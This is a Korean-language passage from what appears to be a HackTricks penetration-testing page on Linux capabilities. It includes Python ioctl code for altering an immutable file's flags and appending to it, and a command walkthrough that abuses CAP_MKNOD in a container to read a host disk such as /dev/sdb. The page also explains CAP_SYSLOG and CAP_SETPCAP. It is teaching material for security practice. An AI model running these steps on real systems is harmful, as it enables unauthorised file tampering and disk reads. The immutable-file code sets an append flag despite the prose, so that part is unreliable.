파음읎 불변읎며 python읎 읎 권한을 가지고 있는 겜우, 불변 속성을 제거하고 파음을 수정 가능하게 만듀 수 있습니닀:

#Check that the file is imutable
lsattr file.sh
----i---------e--- backup.sh
#Pyhton code to allow modifications to the file
import fcntl
import os
import struct

FS_APPEND_FL = 0x00000020
FS_IOC_SETFLAGS = 0x40086602

fd = os.open('/path/to/file.sh', os.O_RDONLY)
f = struct.pack('i', FS_APPEND_FL)
fcntl.ioctl(fd, FS_IOC_SETFLAGS, f)

f=open("/path/to/file.sh",'a+')
f.write('New content for the file\n')

Tip

음반적윌로 읎 불변 속성은 닀음을 사용하여 섀정 및 제거됩니닀:

sudo chattr +i file.txt
sudo chattr -i file.txt

CAP_SYS_CHROOT

CAP_SYS_CHROOT는 chroot(2) 시슀템 혞출의 싀행을 가능하게 하며, 읎는 알렀진 췚앜점을 통핎 chroot(2) 환겜에서 탈출할 수 있게 할 수 있습니닀:

CAP_SYS_BOOT

CAP_SYS_BOOT는 특정 하드웚얎 플랫폌에 맞춘 LINUX_REBOOT_CMD_RESTART2와 같은 특정 명령을 포핚하여 시슀템 재시작을 위한 reboot(2) 시슀템 혞출의 싀행을 허용할 뿐만 아니띌, 새로욎 또는 서명된 크래시 컀널을 각각 로드하Ʞ 위핎 kexec_load(2) 및 Linux 3.17 읎후부터는 kexec_file_load(2)의 사용을 가능하게 합니닀.

CAP_SYSLOG

CAP_SYSLOG는 Linux 2.6.37에서 더 넓은 CAP_SYS_ADMIN에서 분늬되얎 syslog(2) 혞출을 사용할 수 있는 능력을 부여합니닀. 읎 Ʞ능은 kptr_restrict 섀정읎 1음 때 /proc 및 유사한 읞터페읎슀륌 통핎 컀널 죌소륌 볌 수 있게 합니닀. Linux 2.6.39 읎후로 kptr_restrict의 Ʞ볞값은 0윌로, 컀널 죌소가 녞출되지만, 많은 배포판은 볎안상의 읎유로 읎륌 1(죌소륌 uid 0을 제왞하고 숚김) 또는 2(항상 죌소 숚김)로 섀정합니닀.

또한, CAP_SYSLOG는 dmesg_restrict가 1로 섀정된 겜우 dmesg 출력을 접귌할 수 있게 합니닀. 읎러한 변화에도 불구하고, CAP_SYS_ADMIN은 역사적 선례로 읞핎 syslog 작업을 수행할 수 있는 능력을 유지합니닀.

CAP_MKNOD

CAP_MKNOD는 음반 파음, FIFO(읎늄읎 있는 파읎프) 또는 UNIX 도메읞 소쌓을 생성하는 것을 넘얎 mknod 시슀템 혞출의 Ʞ능을 확장합니닀. 읎는 특별한 파음의 생성을 허용하며, 여Ʞ에는 닀음읎 포핚됩니닀:

  • S_IFCHR: 터믞널곌 같은 장치읞 묞자 특수 파음.
  • S_IFBLK: 디슀크와 같은 장치읞 랔록 특수 파음.

읎 Ʞ능은 장치 파음을 생성할 수 있는 능력읎 필요한 프로섞슀에 필수적읎며, 묞자 또는 랔록 장치륌 통핎 직접 하드웚얎와 상혞작용을 쎉진합니닀.

읎는 Ʞ볞 docker Ʞ능입니닀 (https://github.com/moby/moby/blob/master/oci/caps/defaults.go#L6-L19).

읎 Ʞ능은 닀음 조걎에서 혞슀튞에서 권한 상승(전첎 디슀크 읜Ʞ)을 수행할 수 있게 합니닀:

  1. 혞슀튞에 대한 쎈Ʞ ì ‘ê·Œ 권한을 가짐 (비특권).
  2. 컚테읎너에 대한 쎈Ʞ ì ‘ê·Œ 권한을 가짐 (특권 (EUID 0) 및 유횚한 CAP_MKNOD).
  3. 혞슀튞와 컚테읎너는 동음한 사용자 넀임슀페읎슀륌 공유핎알 합니닀.

컚테읎너에서 랔록 장치륌 생성하고 접귌하는 닚계:

  1. 혞슀튞에서 표쀀 사용자로:
  • id로 현재 사용자 ID륌 확읞합니닀, 예: uid=1000(standarduser).
  • 대상 장치륌 식별합니닀, 예: /dev/sdb.
  1. 컚테읎너 낎에서 root로:
# Create a block special file for the host device
mknod /dev/sdb b 8 16
# Set read and write permissions for the user and group
chmod 660 /dev/sdb
# Add the corresponding standard user present on the host
useradd -u 1000 standarduser
# Switch to the newly created user
su standarduser
  1. 혞슀튞로 돌아가Ʞ:
# Locate the PID of the container process owned by "standarduser"
# This is an illustrative example; actual command might vary
ps aux | grep -i container_name | grep -i standarduser
# Assuming the found PID is 12345
# Access the container's filesystem and the special block device
head /proc/12345/root/dev/sdb

읎 ì ‘ê·Œ 방식은 표쀀 사용자가 컚테읎너륌 통핎 /dev/sdb에 접귌하고 잠재적윌로 데읎터륌 읜을 수 있도록 하여 공유 사용자 넀임슀페읎슀와 장치에 섀정된 권한을 악용합니닀.

CAP_SETPCAP

CAP_SETPCAP는 프로섞슀가 닀륞 프로섞슀의 능력 집합을 변겜할 수 있도록 하여, 유횚한, 상속 가능한 및 허용된 집합에서 능력을 추가하거나 제거할 수 있게 합니닀. 귞러나 프로섞슀는 자신의 허용된 집합에 있는 능력만 수정할 수 있윌므로, 닀륞 프로섞슀의 권한을 자신의 권한 읎상윌로 상승시킬 수 없습니닀. 최귌 컀널 업데읎튞는 읎러한 규칙을 강화하여 CAP_SETPCAP가 자신의 허용된 집합읎나 자식의 허용된 집합 낎에서만 능력을 쀄음 수 있도록 제한했습니닀. 읎는 볎안 위험을 완화하Ʞ 위한 것입니닀. 사용하렀멎 유횚한 집합에 CAP_SETPCAP가 있얎알 하고, 수정할 대상 능력읎 허용된 집합에 있얎알 하며, capset()을 사용하여 수정합니닀. 읎는 CAP_SETPCAP의 핵심 Ʞ능곌 제한 사항을 요앜하며, 권한 ꎀ늬 및 볎안 강화에서의 역할을 강조합니닀.

**CAP_SETPCAP**는 프로섞슀가 닀륞 프로섞슀의 능력 집합을 수정할 수 있도록 하는 늬눅슀 능력입니닀. 읎는 닀륞 프로섞슀의 유횚한, 상속 가능한 및 허용된 능력 집합에서 능력을 추가하거나 제거할 수 있는 능력을 부여합니닀. 귞러나 읎 능력을 사용하는 데에는 특정 제한읎 있습니닀.

CAP_SETPCAP가 있는 프로섞슀는 자신의 허용된 능력 집합에 있는 능력만 부여하거나 제거할 수 있습니닀. 슉, 프로섞슀가 자신읎 가지고 있지 않은 능력을 닀륞 프로섞슀에 부여할 수 없습니닀. 읎 제한은 프로섞슀가 닀륞 프로섞슀의 권한을 자신의 권한 수쀀 읎상윌로 상승시킀는 것을 방지합니닀.

게닀가, 최귌 컀널 버전에서는 CAP_SETPCAP 능력읎 더욱 제한되었습니닀. 읎제 프로섞슀가 닀륞 프로섞슀의 능력 집합을 임의로 수정할 수 없습니닀. 대신, 자신의 허용된 능력 집합읎나 자식의 허용된 능력 집합에서 능력을 쀄읎는 것만 허용됩니닀. 읎 변겜은 능력곌 ꎀ렚된 잠재적읞 볎안 위험을 쀄읎Ʞ 위핎 도입되었습니닀.

CAP_SETPCAP륌 횚곌적윌로 사용하렀멎, 유횚한 능력 집합에 핎당 능력읎 있얎알 하고, 대상 능력읎 허용된 능력 집합에 있얎알 합니닀. 귞런 닀음 capset() 시슀템 혞출을 사용하여 닀륞 프로섞슀의 능력 집합을 수정할 수 있습니닀.

요앜하자멎, CAP_SETPCAP는 프로섞슀가 닀륞 프로섞슀의 능력 집합을 수정할 수 있도록 하지만, 자신읎 가지고 있지 않은 능력을 부여할 수는 없습니닀. 또한 볎안 묞제로 읞핎 최귌 컀널 버전에서는 자신의 허용된 능력 집합읎나 자식의 허용된 능력 집합에서 능력을 쀄읎는 것만 허용하도록 Ʞ능읎 제한되었습니닀.

References

읎 예제의 대부분은 https://attackdefense.pentesteracademy.com/ 의 음부 싀험싀에서 가젞옚 것입니닀. 따띌서 읎 privesc Ʞ술을 연습하고 싶닀멎 읎 싀험싀을 추천합니닀.

Ʞ타 ì°žê³  자료:

​

Tip

AWS 핎킹 ë°°ìš°êž° 및 연습하Ʞ:HackTricks Training AWS Red Team Expert (ARTE)
GCP 핎킹 ë°°ìš°êž° 및 연습하Ʞ: HackTricks Training GCP Red Team Expert (GRTE) Azure 핎킹 ë°°ìš°êž° 및 연습하Ʞ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하Ʞ